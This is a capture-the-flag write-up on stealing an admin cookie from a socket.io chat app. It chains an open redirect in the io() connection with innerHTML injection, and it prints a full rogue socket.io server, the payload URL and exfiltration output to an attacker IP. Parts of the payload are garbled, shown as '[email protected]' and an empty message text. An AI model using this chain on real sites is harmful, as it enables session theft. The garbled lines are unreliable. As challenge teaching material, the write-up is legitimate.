Tags: xss csrf web socket.io nodejs
Rating: 5.0
There is a client-server application that we have the source code of, index.html for the client and index.js for the server. We have to find a way to get the admin cookie. On the other site "XSS Bot" we can send an URL for the admin to open, that has to have the prefix http://47.254.28.30:58000/. I solved this exercise with a combination of [CSRF](https://owasp.org/www-community/attacks/csrf) (client-side request forgery) and [XSS](https://owasp.org/www-community/attacks/xss/) (cross-site scripting).
On the client source code (index.html) there is an open redirection flaw when initializing the socket.io:
```
<script src="/socket.io/socket.io.js"></script>
<script>
function reset() { location.href = `?nickname=guest${String(Math.random()).substr(-4)}&room=DOMPurify`; }
let query = new URLSearchParams(location.search), nickname = query.get('nickname'), room = query.get('room');
if (!nickname || !room) { reset(); }
for (let k of query.keys()) { if (!['nickname', 'room'].includes(k)) { reset(); } }
document.title += ' - ' + room;
let socket = io(`/${location.search}`), [...]
```
This call to io() uses the location.search where we can inject a malicious domain like the following:
http://47.254.28.30:58000/?room=DOMPurify&[email protected]
This allows us to make the client use a malicious socket.io server that we control instead of the expected server.
Malicious server:
```
const app = require('express')();
const http = require('http').Server(app);
const cors = require('cors')
const hostname = '0.0.0.0';
const port = 9000;
const io = require('socket.io')(http, {
cors: {
origin: "*",
methods: ["GET", "POST"],
"preflightContinue": false
}
});
const corsOptions = {
origin: false,
optionsSuccessStatus: 200
}
app.get('/', cors(corsOptions), (req, res) => {
console.log(req.query)
});
io.on('connection', (socket) => {
console.log("hey from: ", socket.handshake.address)
let {room} = socket.handshake.query;
socket.join(room);
io.to(room).emit('msg', {
from: 'system',
text: '<script>alert(1)</script>',
isHtml: true
});
});
http.listen(port, hostname, () => {
console.log(`ChatUWU malicious server running at http://${hostname}:${port}/`);
});
```
To run the malicious server I opened my local port 9000 to the internet by creating a firewall rule to allow inbound to 9000 and creating a rule on my router to map the port 9000 to my laptop:9000. Then run the following command:
```
node .\indexFake.js
ChatUWU malicious server running at http://0.0.0.0:9000/
```
Now the client will connect to the malicious server and the server will send the following message:
```
io.to(room).emit('msg', {
from: 'system',
text: '',
isHtml: true
});
```
On the client side (index.html) the following code will add this to the DOM and run the XSS payload:
```
socket.on('msg', function (msg) {
let item = document.createElement('li'),
msgtext = `[${new Date().toLocaleTimeString()}] ${msg.from}: ${msg.text}`;
room === 'DOMPurify' && msg.isHtml ? item.innerHTML = msgtext : item.textContent = msgtext;
messages.appendChild(item);
});
```
Final payload to deliver to the "XSS Bot":
`http://47.254.28.30:58000/?room=DOMPurify&[email protected]:9000`
Malicious server running at 85.244.211.240:9000 output:
```
hey from: 47.254.28.30
{ flag: 'rwctf{1e542e65e8240f9d60ab41862778a1b408d97ac2}' }
```
For the complete context and walkthrough watch the video.